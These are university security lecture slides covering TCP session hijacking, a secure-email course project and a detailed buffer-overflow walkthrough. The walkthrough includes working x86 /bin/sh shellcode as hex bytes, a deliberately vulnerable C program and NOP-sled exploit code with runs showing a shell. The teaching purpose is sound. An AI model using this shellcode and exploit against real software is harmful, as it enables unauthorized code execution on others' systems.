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Announcements

• Midterm #2 is Nov 8th (1 week from today)
– Martin will proctor (I’m at CCS)

• Project #1 is due next time
– Hand in here (in class)
– CAETE students can mail to Martin



TCP Session Hijacking

• This is the last topic on network-based 
attacks for a while

• We’ll do vulnerabilities next

• We’ll come back to some network 
protocols and some more crypto later in 
the course



Session Hijacking

• How might we jump in on an established 
TCP session?
– If we could sniff the connections and inject 

traffic, we could do this with no problem
– If we can only inject traffic (by sending 

unsolicited TCP segments to the victim) it’s 
harder

• Must guess the proper sequence number
• Successfully used by Mitnick



Hijacking
• If attacker uses sequence number outside the window of Target, 

Target will drop traffic
• If attacker uses sequence number within window, Target accepts as 

from Host A
– Result is a one-sided connection
– Can be used to crash Target, confuse, reset connection, etc

Host A

Target

Attacker

TCP Sessio
n

Guesses Host A’s sequence number, uses Host A’s IP



Preventing Hijacking

• Make sequence number hard-to-guess
– Use random ISNs

• Note that SYN cookies in effect do this by using a 
hash of some stuff which includes a counter and a 
secret key

• There are many other kinds of hijacking 
techniques
– We’ll later look at ARP cache poisoning



Project #2: Secure Email System
Our goal is to provide a secure email system to each member of the 

class (including your grader).  

We are going to use both symmetric-key and public-key techniques in 
this project, thus tying together several of the concepts discussed 
in lecture.  As usual, we’ll use OpenSSL as our toolkit, either via 
the command-line interface (easiest) or via system calls (you 
might need the OpenSSL book for this!)

The program you write will have three main functions:
1. A mini-database utility to keep track of certs you have acquired 
from Martin’s web site
2. A method to send encrypted and signed email
3. A method to verify and decrypt received email



Format of the Message
• We’ll start by describing what a message will look like.  

Then we’ll back-fill the details about how to generate and 
digest messages in this format.   Messages will look like 
this:

-----BEGIN CSCI 6268 MESSAGE-----
<session pwd encrypted under target’s public key>
<blank line>
<message encrypted under session pwd above>
<blank line>
<signature of above content>
-----END CSCI 6268 MESSAGE-----



Message Format
• First -----BEGIN CSCI 6268 MESSAGE----- must appear exactly as 

shown; this is the indicator that the message begins immediately after this 
line.  (This allows the message to be embedded in a bunch of other text 
without confusing the recipient’s parser.)

• The next line is the session password encrypted under the target’s public 
key.  This password is a random string of 32 characters using A-Z, a-z, and 
0-9 generated by the sender; the sender then encrypts his message with 
AES in CBC mode using this password.

• There is a blank line, followed by the AES-CBC encrypted message in 
base64 format.  This is followed by another blank line.

• Next comes the signature of the sender which is generated using the 
sender’s private key.  This signature will be the RSA sig of the SHA-1 hash 
of every line above from the first line after the BEGIN marker to the line just 
before the blank line ending the message. Exclude newlines (since they are 
different between Unix and DOS apps).

• Finally, -----END CSCI 6268 MESSAGE----- concludes the encrypted 
message.



The Cert Database
Your program should maintain a simple catalog of certs which you have 

collected from the web site.  You may store them in whatever format you 
prefer (a flat file is the simplest, but if you prefer to use MySQL or 
something fancier, be my guest).

A cert should always be verified using the CA’s public key before being inserted 
into the database.

A cert should always be verified using the CA’s public key after being extracted 
from the database (to ensure someone hasn’t tampered with it while you 
weren’t watching).

You need not store the person’s email address in your database since this is 
embedded in the cert, but it might be easier to go ahead and store the email 
addresses as an index field in the file.  Of course, you must not rely on 
these index names as the validated email addresses; always make sure the 
email in the cert matches!



Sending Secure Mail
Your program should accept a plain-text message along with a destination 

email address and output an encrypted and signed message as we 
described a moment ago.  Here is the algorithm:

1. Get the cert of the target from the database, using the email address as 
the index; if the email is not there, you must extract it from the web page. 

2. Verify the signature on this cert for your email target.
3. Generate a 32-character passphrase.   Normally we would use a very 

strong random-number generator for this, but feel free to use random() or 
the rand function of OpenSSL if you like.

4. Encrypt the message with AES in CBC mode with the session key and a 
random IV (OpenSSL does this for you).  Use base64 encoding, and 
save the output.

5. Encrypt the session password with the target’s public key.
6. Sign the stuff generated so far as described previously, using SHA-1 and 

your private key (you will need to type in your passphrase to do this).
7. Format and send.



Receiving Secure Mail
This is how you will process incoming secure email:

1. Obtain sender’s email address from mail header
2. Find sender’s cert in your database, or obtain from the class 

website.  Verify sender’s cert is signed by CA; output sender name 
from the cert (not from the email header!)

3. Verify signature on received message using SHA-1 and public key 
of sender.  If invalid, reject the message.  Else, continue.

4. Decrypt session key with your private key (you will need to type in 
your passphrase for this).

5. Use session key to decrypt message; print out resulting message.



Hints for Success
• You already know many of the OpenSSL commands you will need 

for this project; using the command-line interface is probably the 
easiest way to get this task done.

• You can call the command-line interface from C or C++, or you can 
write your whole system in Perl, Python, or sh.

• A text-based menu system is fine, but if you want to build a GUI, feel 
free.  As long as Martin can get it to run! ☺

• You can test your program by sending messages to yourself.  
Additionally, Martin will provide a test message to each of you that 
you can use for testing.

• The most useful advice I can give is this: don’t wait until the last 
minute to start this project!  It’s more work than you think, and we 
have other things yet to come in the class.



Important Information

• Due Date: Tues, 11/29 in class
• What to hand in:

– Complete source for your program in printed
form (not on a disk or CD)

– An example run of each of the main functions 
(list database, send msg, receive msg)

– Runs on the test messages Martin sends to 
each of you, showing the outputs



New Topic: Vulnerabilities

• It can be argued that every vulnerability is 
a bug
– A “bug” is a sort of fuzzy term, but usually 

means that the software does something 
other than what was intended by its designers

• Fuzzy because sometimes the designers didn’t 
think about the issue at hand

– Assuming designers didn’t want evil-doers to 
access the system, a vulnerability is a bug



Vulnerability of the Century: 
Buffer Overflows

• Buffer overflows also called “buffer overruns”
– This is probably the better term
– We’ll use them interchangeably

• What is a buffer overrun?

main(int argc, char **argv)
{

char  filename[256];

if (argc == 2)
strcpy(filename, argv[1]);

.

.

.



Why so Common?
• Why does C have so many poorly-designed 

library functions?
– strcpy(), strcat(), sprintf(), gets(), etc…

• Answer: because people weren’t thinking about 
security when it was designed!

• Java is the answer?
– No buffer overruns, but often “native code” is invoked
– Java is slow
– C is out there, sorry…



Buffer Overruns aren’t the Only 
Problem

• It’s been estimated that over 50% of 
vulnerabilities exploited in the last 10 
years have been overruns
– But there is still another HUGE class of 

vulnerabilities
– Overruns are obviously very important, but 

just getting rid of them doesn’t solve all 
security problems



Overview of Overruns Talk

• We’ll start by explaining how they work 
and how to exploit them
– Aleph One’s write-up is on our schedule page, 

please read it

• We’ll look at defense mechanisms that 
have been tried



Assumptions

• Assume Unix-type operating system
• Assume x86-type processor
• You need to know basic assembly 

language for this stuff, but I assume 
everyone in this class has had a course 
involving assembler

• For the project (#3), you will need a 
debugger/disassembler



Memory Organization

Text

Data

Stack

Static

Heap



Stack Frames

Simple example:
example1.c: 

void function(int a, int b, int c) { 
char buffer1[5]; 
char buffer2[10]; 

} 

void main() { 

function(1,2,3); 
}

gcc -S -o example1.s example1.c 



Calling Convention
main:
. . .

pushl $3         // push parameters in rev order
pushl $2
pushl $1
call function    // pushes ret addr on stack

. . .

function:
pushl %ebp // save old frame ptr
movl %esp,%ebp // set frame ptr to stack ptr
subl $20,%esp    // allocate space for locals
mov %ebp, %esp
pop %ebp
ret



Stack Memory
• What does the stack look like when “function” is called?

Bottom of stack

Top of stack

c

b

a

ret

sfp

buffer1

buffer2

3

2

1

Return address to main

Saved Frame Pointer

4 bytes

4 bytes

4 bytes

4 bytes

4 bytes

8 bytes

12 bytes



example2.c
void function(char *str) { 

char buffer[16]; 

strcpy(buffer,str);
}

void main() { 
char large_string[256];
int i; 

for( i = 0; i < 255; i++) 
large_string[i] = 'A'; 

function(large_string);
} 



Stack Memory Now
• What does the stack look like when “function” is called?

Bottom of stack

Top of stack

*str

ret

sfp

buffer

Ptr to large_string

Return address to main

Saved Frame Pointer

4 bytes

4 bytes

4 bytes

16 bytes

• Segmentation fault occurs
– We write 255 A’s starting from buffer down through sfp, ret, *str

and beyond
– We then attempt to return to the address 0x41414141



example3.c
void function(int a, int b, int c) {

char buffer1[5];
char buffer2[10];
int *ret;

ret = buffer1 + 12;    // overwrite return addr
(*ret) += 10;          // return 10 bytes later in text seg

}

void main() {
int x;

x = 0;
function(1,2,3);
x = 1;
printf("%d\n",x);

}

Write-up says 8 bytes, but it’s wrong



How did we know the values?
Look at disassembly:

0x8000490 <main>:       pushl %ebp
0x8000491 <main+1>:     movl %esp,%ebp
0x8000493 <main+3>:     subl $0x4,%esp
0x8000496 <main+6>:     movl $0x0,0xfffffffc(%ebp)
0x800049d <main+13>:    pushl $0x3
0x800049f <main+15>:    pushl $0x2
0x80004a1 <main+17>:    pushl $0x1
0x80004a3 <main+19>:    call   0x8000470 <function>
0x80004a8 <main+24>:    addl $0xc,%esp
0x80004ab <main+27>:    movl $0x1,0xfffffffc(%ebp)
0x80004b2 <main+34>:    movl 0xfffffffc(%ebp),%eax
0x80004b5 <main+37>:    pushl %eax
0x80004b6 <main+38>:    pushl $0x80004f8
0x80004bb <main+43>:    call   0x8000378 <printf>
0x80004c0 <main+48>:    addl $0x8,%esp
0x80004c3 <main+51>:    movl %ebp,%esp
0x80004c5 <main+53>:    popl %ebp
0x80004c6 <main+54>:    ret

34-24 = 10, so skip 10 bytes down; note: leaves SP messed up!



So we can change return 
addresses… and then?!

• If we can arbitrarily change return addresses, 
what power do we really have?
– Cause program to execute other than intended code
– Jump to code which grants us privilege
– Jump to code giving access to sensitive information

• All this assumes we know our way around the binary
• If we don’t have a copy of the program, we’re shooting in the 

dark!
• Let’s keep this distinction in mind as we proceed

– What if there is nothing interesting to jump to, or we 
cannot figure out where to jump to?!

• Let’s jump to our own code!



Shell Code

• Let’s spawn a shell
– The discussion is about to get very Unix 

specific again
– A “shell” is a program that gives us a 

command prompt
– If we spawn a shell, we get command-line 

access with whatever privileges the current 
process has (possibly root!)



Fitting Code in the Stack
• What does the stack look like when “function” is called?

c

b

a

ret

sfp

buffer

3

2

1

4 bytes

4 bytes

4 bytes

SSSSSSSSSSSSSSSSSSS
SSSSSSSSSSSSSSSSSSS
SSSSSSSSSSSSSSSSSSS
SSSSSSSSSSSSSSSSSSS

Jump to Shell Code



How to Derive Shell Code?
• Write in C, compile, extract assembly into machine code:

#include <stdio.h>

void main() {
char *name[2];

name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);

}

gcc -o shellcode -ggdb -static shellcode.c



And disassemble

0x8000130 <main>:       pushl %ebp
0x8000131 <main+1>:     movl %esp,%ebp
0x8000133 <main+3>:     subl $0x8,%esp
0x8000136 <main+6>:     movl $0x80027b8,0xfffffff8(%ebp)
0x800013d <main+13>:    movl $0x0,0xfffffffc(%ebp)
0x8000144 <main+20>:    pushl $0x0
0x8000146 <main+22>:    leal 0xfffffff8(%ebp),%eax
0x8000149 <main+25>:    pushl %eax
0x800014a <main+26>:    movl 0xfffffff8(%ebp),%eax
0x800014d <main+29>:    pushl %eax
0x800014e <main+30>:    call   0x80002bc <__execve>
0x8000153 <main+35>:    addl $0xc,%esp
0x8000156 <main+38>:    movl %ebp,%esp
0x8000158 <main+40>:    popl %ebp
0x8000159 <main+41>:    ret



Need Code for execve
0x80002bc <__execve>:           pushl %ebp
0x80002bd <__execve+1>:         movl %esp,%ebp
0x80002bf <__execve+3>:         pushl %ebx
0x80002c0 <__execve+4>:         movl $0xb,%eax
0x80002c5 <__execve+9>:         movl 0x8(%ebp),%ebx
0x80002c8 <__execve+12>:        movl 0xc(%ebp),%ecx
0x80002cb <__execve+15>:        movl 0x10(%ebp),%edx
0x80002ce <__execve+18>:        int $0x80
0x80002d0 <__execve+20>:        movl %eax,%edx
0x80002d2 <__execve+22>:        testl %edx,%edx
0x80002d4 <__execve+24>:        jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>:        negl %edx
0x80002d8 <__execve+28>:        pushl %edx
0x80002d9 <__execve+29>:        call   0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>:        popl %edx
0x80002df <__execve+35>:        movl %edx,(%eax)
0x80002e1 <__execve+37>:        movl $0xffffffff,%eax
0x80002e6 <__execve+42>:        popl %ebx
0x80002e7 <__execve+43>:        movl %ebp,%esp
0x80002e9 <__execve+45>:        popl %ebp
0x80002ea <__execve+46>:        ret



Shell Code Synopsis
• Have the null terminated string "/bin/sh" somewhere 

in memory.
• Have the address of the string "/bin/sh" somewhere 

in memory followed by a null long word.
• Copy 0xb into the EAX register.
• Copy the address of the string "/bin/sh” into the EBX 

register.
• Copy the address of the address of the string 
"/bin/sh" into the ECX register.

• Copy the address of the null long word into the EDX 
register.

• Execute the int $0x80 instruction.



If execve() fails
• We should exit cleanly
#include <stdlib.h>
void main() { 

exit(0); 
} 

0x800034c <_exit>:      pushl %ebp
0x800034d <_exit+1>:    movl %esp,%ebp
0x800034f <_exit+3>:    pushl %ebx
0x8000350 <_exit+4>:    movl $0x1,%eax
0x8000355 <_exit+9>:    movl 0x8(%ebp),%ebx
0x8000358 <_exit+12>:   int $0x80
0x800035a <_exit+14>:   movl 0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>:   movl %ebp,%esp
0x800035f <_exit+19>:   popl %ebp
0x8000360 <_exit+20>:   ret



New Shell Code Synopsis

• Have the null terminated string "/bin/sh" somewhere in memory.
• Have the address of the string "/bin/sh" somewhere in memory 

followed by a null long word.
• Copy 0xb into the EAX register.
• Copy the address of the string "/bin/sh” into the EBX register.
• Copy the address of the address of the string "/bin/sh" into the 

ECX register.
• Copy the address of the null long word into the EDX register.
• Execute the int $0x80 instruction.

• Copy 0x1 into EAX
• Copy 0x0 into EBX
• Execute the int $0x80 instruction.



Shell Code, Outline

movl string_addr,string_addr_addr
movb $0x0,null_byte_addr
movl $0x0,null_string
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
/bin/sh string goes here



One Problem: Where is the 
/bin/sh string in memory?

• We don’t know the address of buffer
– So we don’t know the address of the string 
“/bin/sh”

– But there is a trick to find it
• JMP to the end of the code and CALL back to the 

start
• These can use relative addressing modes
• The CALL will put the return address on the stack 

and this will be the absolute address of the string
• We will pop this string into a register!



Shell Code on the Stack

c

b

a

ret

buffer

3

2

1

4 bytes

4 bytes

4 bytes

JJSSSSSSSSSSSSSSSSS
SSSSSSSSSSSSSSSSSSS
SSSSSSSSSSSSSSSSSSS
CCsssssssssssssssssssss

Jump to Shell Code



Implemented Shell Code
jmp offset-to-call           # 2 bytes
popl %esi # 1 byte
movl %esi,array-offset(%esi)  # 3 bytes
movb $0x0,nullbyteoffset(%esi)# 4 bytes
movl $0x0,null-offset(%esi)   # 7 bytes
movl $0xb,%eax                # 5 bytes
movl %esi,%ebx # 2 bytes
leal array-offset(%esi),%ecx # 3 bytes
leal null-offset(%esi),%edx # 3 bytes
int $0x80                    # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80                    # 2 bytes
call   offset-to-popl # 5 bytes
/bin/sh string goes here.



Implemented Shell Code, with 
constants computed

jmp 0x26                     # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi)           # 3 bytes
movb $0x0,0x7(%esi)           # 4 bytes
movl $0x0,0xc(%esi)           # 7 bytes
movl $0xb,%eax                # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx           # 3 bytes
leal 0xc(%esi),%edx           # 3 bytes
int $0x80                    # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80                    # 2 bytes
call   -0x2b                    # 5 bytes
.string \"/bin/sh\"             # 8 bytes



Testing the Shell Code: 
shellcodeasm.c

void main() {
__asm__("

jmp 0x2a                     # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi)           # 3 bytes
movb $0x0,0x7(%esi)           # 4 bytes
movl $0x0,0xc(%esi)           # 7 bytes
movl $0xb,%eax                # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx           # 3 bytes
leal 0xc(%esi),%edx           # 3 bytes
int $0x80                    # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80                    # 2 bytes
call   -0x2f                    # 5 bytes
.string \"/bin/sh\"             # 8 bytes

");

Note: this relative jump notation doesn’t seem to work with gcc anymore; use labels!



Oops.. Won’t work

• Our code is self-modifying
– Most operating systems mark text segment as 

read only
– No self-modifying code!

• Poor hackers (in the good sense)

– Let’s move the code to a data segment and 
try it there

• Later we will be executing it on the stack, of course



Running Code in the Data 
Segment: testsc.c

char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

void main() {
int *ret;

ret = (int *)&ret + 2;
(*ret) = (int)shellcode;

}

research $ gcc -o testsc testsc.c
research $ ./testsc
$ exit 
research $ 



Another Problem: Zeros

• Notice hex code has zero bytes
– If we’re overrunning a command-line 

parameter, probably strcpy() is being used
– It will stop copying at the first zero byte
– We won’t get all our code transferred!
– Can we write the shell code without zeros?



Eliminating Zeros

Problem instruction:                  Substitute with:          
--------------------------------------------------------
movb $0x0,0x7(%esi)                xorl %eax,%eax

movl $0x0,0xc(%esi)                movb %eax,0x7(%esi)
movl %eax,0xc(%esi)       

-------------------------------------------------------
movl $0xb,%eax                     movb $0xb,%al           
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx

movl $0x0, %ebx movl %ebx,%eax
inc    %eax

--------------------------------------------------------



New Shell Code (no zeros)
char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

void main() {
int *ret;

ret = (int *)&ret + 2;
(*ret) = (int)shellcode;

}

research $ gcc -o testsc testsc.c
research $ ./testsc
$ exit 
research $ 



Ok, We’re Done?  Well…
• We have zero-less shell code
• It is relocatable
• It spawns a shell
• We just have to get it onto the stack of some 

vulnerable program!
– And then we have to modify the return address in that 

stack frame to jump to the beginning of our shell 
code… ahh…

– If we know the buffer size and the address where the 
buffer sits, we’re done (this is the case when we have 
the code on the same OS sitting in front of us)

– If we don’t know these two items, we have to guess…



If we know where the buffer is
char shellcode[] = . . .
char large_string[128];

void main() {
char buffer[96];
long *long_ptr = (long *) large_string;

for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;

for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];

large_string[i] = ‘\0’;

strcpy(buffer,large_string);
}
// This works: ie, it spawns a shell



Otherwise, how do we Guess?
• The stack always starts at the same (high) memory address

– Here is sp.c:

unsigned long get_sp(void) {
__asm__("movl %esp,%eax");

}

void main() {
printf("0x%x\n", get_sp());

}

$ ./sp
0x8000470
$



vulnerable.c
void main(int argc, char *argv[]) {

char buffer[512];

if (argc > 1)
strcpy(buffer,argv[1]);

}

• Now we need to inject our shell code into this program
– We’ll pretend we don’t know the code layout or the buffer size
– Let’s attack this program



exploit1.c
void main(int argc, char *argv[]) {
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);

buff = malloc(bsize);

addr = get_sp() - offset;  
printf("Using address: 0x%x\n", addr);

ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)

*(addr_ptr++) = addr;

ptr += 4;
for (i = 0; i < strlen(shellcode); i++)

*(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';

memcpy(buff,"EGG=",4);   putenv(buff);   system("/bin/bash");
}



Let’s Try It!
research $ ./exploit1 600 0
Using address: 0xbffffdb4
research $ ./vulnerable $EGG
Illegal instruction
research $ exit
research $ ./exploit1 600 100
Using address: 0xbffffd4c
research $ ./vulnerable $EGG
Segmentation fault
research $ exit
research $ ./exploit1 600 200
Using address: 0xbffffce8
research $ ./vulnerable $EGG
Segmentation fault
research $ exit
.
.
.
research $ ./exploit1 600 1564
Using address: 0xbffff794
research $ ./vulnerable $EGG
$



Doesn’t Work Well: A New Idea

• We would have to guess exactly the buffer’s 
address
– Where the shell code starts

• A better technique exists
– Pad front of shell code with NOP’s
– We’ll fill half of our (guessed) buffer size with NOP’s

and then insert the shell code
– Fill the rest with return addresses
– If we jump anywhere in the NOP section, our shell 

code will execute



Final Version of Exploit
void main(int argc, char *argv[]) {

int i;

if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);

buff = malloc(bsize);    addr = get_sp() - offset;     
printf("Using address: 0x%x\n", addr);

ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;

for (i = 0; i < bsize/2; i++)
buff[i] = NOP;

ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';

memcpy(buff,"EGG=",4);    putenv(buff);     system("/bin/bash");
}



Small Buffers

• What if buffer is so small we can’t fit the 
shell code in it?
– Other techniques possible
– One way is to modify the program’s 

environment variables
• Assumes you can do this
• Put shell code in an environment variable
• These are on the stack when the program starts
• Jump to its address on the stack
• No size limitations, so we can use lots of NOP’s


